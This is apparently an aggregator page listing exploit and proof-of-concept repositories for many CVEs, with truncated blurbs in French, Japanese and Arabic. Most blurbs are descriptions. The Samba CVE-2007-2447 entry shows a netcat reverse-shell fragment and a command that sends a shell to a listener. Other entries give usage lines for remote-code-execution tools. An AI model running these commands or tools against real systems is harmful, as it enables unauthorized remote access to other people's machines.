CVE-2017-3241-POC

CVE-2017-3241-POC Java RMI デシリアライゼーション脆弱性の PoC この POC を実行するには、JDK 8 を使用する必要があるでしょう。 クライアント側とサーバー側の両方の Message クラスに注目してください。それらは異なります。その違いがこの脆弱性を理解する鍵です。 Oracle が公開した修正は、開発者に Java セキュリティポリシーでデシリアライゼーションのホワイト/ブラックリストを設定させるというものです。言わせてもらえば、ハッキングされるまでそのリストの存在を知っている開発者がどれだけいるでしょうか？...

CVE-2023-50564

CVE-2023-50564 CVE-2023-50564 est une vulnérabilité RCE dans Pluck CMS v4.7.18. Elle est rendue possible par une vulnérabilité de téléchargement de fichier arbitraire dans le composant /inc/modulesinstall.php permettant d'exécuter du code arbitraire en téléchargeant un fichier .zip malveillant...

DVWA-ZAP-PENTEST

Évaluation de la vulnérabilité DVWA à l'aide d'OWASP ZAP Une évaluation pratique de la sécurité d'une application web sur DVWA Damn Vulnerable Web App , réalisée avec OWASP ZAP Zed Attack Proxy 2.17.0. Ce projet documente l'ensemble du workflow : reconnaissance spidering, scan automatisé des...

CVE-2026-14669

CVE-2026-14669 - Débordement de tampon sur le tas dans l'abréviation de fuseau horaire de PostgreSQL tochar La fonction tochar de PostgreSQL présente une vulnérabilité de débordement de tampon sur le tas lors du traitement du formatage des fuseaux horaires. En définissant une abréviation de fusea...

CVE-2021-1675-PrintNightmare-Analysis

Recherche de vulnérabilités : Élévation locale de privilèges et RCE via Windows Print Spooler PrintNightmare / CVE-2021-1675 Le dépôt contient un rapport technique détaillé Write-up et une analyse du concept d'exploitation d'une vulnérabilité critique dans le service du gestionnaire d'impression...

WSUSResponder

🧰 WSUSResponder Version : 1.0.1 Auteur : RZA / IT Operations Licence :MIT 🎯 Objectif Le module WSUSResponder fournit un ensemble d’outils PowerShell pour répondre rapidement à la vulnérabilité critique CVE-2025-59287 , une faille d’exécution de code à distance RCE affectant Windows Server Update...

CVE-2025-62593-PoC

CVE-2025-62593 — Exécution de code à distance dans Ray non authentifiée Proof-of-concept de la CVE-2025-62593 , une vulnérabilité d'exécution de code à distance non authentifiée dans le moteur de calcul IA distribué Ray, exploitée via des attaques de rebinding DNS basées sur le navigateur. Elle a...

CVE-2024-24919-Check-Point-Remote-Access-VPN

CVE-2024-24919-Check-Point-Remote-Access-VPN CVE-2024-24919 est une vulnérabilité de lecture arbitraire de fichiers sans authentification qui peut être considérée comme rien de moins qu'une RCE complète sans authentification. Un attaquant peut lire tous les fichiers sensibles situés sur l'applian...

CVE-2024-4040-CrushFTP-server

CVE-2024-4040-CrushFTP-server CrushFTP est un serveur de transfert de fichiers propriétaire multi-protocole et multi-plateforme. CVE-2024-4040 - Une vulnérabilité d'injection de modèles côté serveur dans CrushFTP, affectant toutes les versions antérieures à 10.7.1 et 11.1.0 sur toutes les...

CVE-2024-38856-ApacheOfBiz

CVE-2024-38856-ApacheOfBiz Apache OFBiz est un système open source de planification des ressources d'entreprise. Il fournit une suite d'applications métier qui intègrent et automatisent de nombreux processus métier d'une entreprise. CVE-2024-38856 est une faille de pré-authentification dans Apach...

CVE-2024-4879-ServiceNow

CVE-2024-4879-ServiceNow ServiceNow est une plateforme de transformation des affaires qui aide les entreprises à gérer les flux de travail numériques pour leurs opérations. CVE-2024-4879 pourrait permettre à un utilisateur non authentifié d'exécuter du code à distance au sein de la plateforme Now...

Tomcat_PUT_GUI_EXP

TomcatPUTEXPV1.4 Outil graphique d'exploitation de l'écriture arbitraire de fichiers via la méthode PUT de Tomcat CVE-2017-12615 Présentation de la vulnérabilité Le 19 septembre 2017, Apache Tomcat a officiellement confirmé et corrigé deux vulnérabilités critiques, référencées CVE-2017-12615 et...

CVE-2017-9791

CVE-2017-9791 Module Metasploit pour Apache Struts CVE-2017-9791 Vulnérabilité d'exécution de code à distance...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 RCE Ce dépôt contient mon code d'exploitation pour la vulnérabilité RCE dans Adobe ColdFusion 2018. Description de l'exploit L'exploit envoie une requête POST contenant un reverse shell JSP vers /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Utilisation root@kitploit: Exploiter la cible 10.129.232.46 sur le port 445, envoyer un shell inversé vers 10.10.14.82 sur le port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 Avec rport et lport personnalisés pytho...

CVE-2024-4577-PHP-RCE

CVE-2024-4577-PHP-RCE Présentation du projet et principe Premier exploit au monde utilisant l'environnement PHP par défaut XAMPP pour la vulnérabilité CVE-2024-4577 PHP-CGI RCE. The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment. Sharing original exploit,...

SDT_CW3B1_rce

SDTCW3B1rce CVE-2021-46422 Installation root@kitploit: git clone https://github.com/xanszZZ/SDTCW3B1rce cd SDTCW3B1rce Utilisation Cet outil est un PoC écrit selon les spécifications de développement du framework pocsuite3. Avant d'utiliser, veuillez télécharger pocsuite3. Adresse du projet...

CVE-2021-42013-ApacheRCE

CVE-2021-42013-ApacheRCE...

CVE-2019-0193

CVE-2019-0193 Exécution de code à distance...

CVE-2019-13025

Connect Box CH7465LG CVE-2019-13025 المعلومات يحتوي هذا المستودع على اثنين من PoCs لـ Connect Box CH7465LG الذي يعمل على البرامج الثابتة CH7465LG-NCIP-6.12.18.24-5p8-NOSH أو أقدم. لمزيد من المعلومات، ألقِ نظرة على مدونتي. الاستخدام تنفيذ الأوامر عن بُعد بدون مصادقة $ python3 poc-rce.py كشف...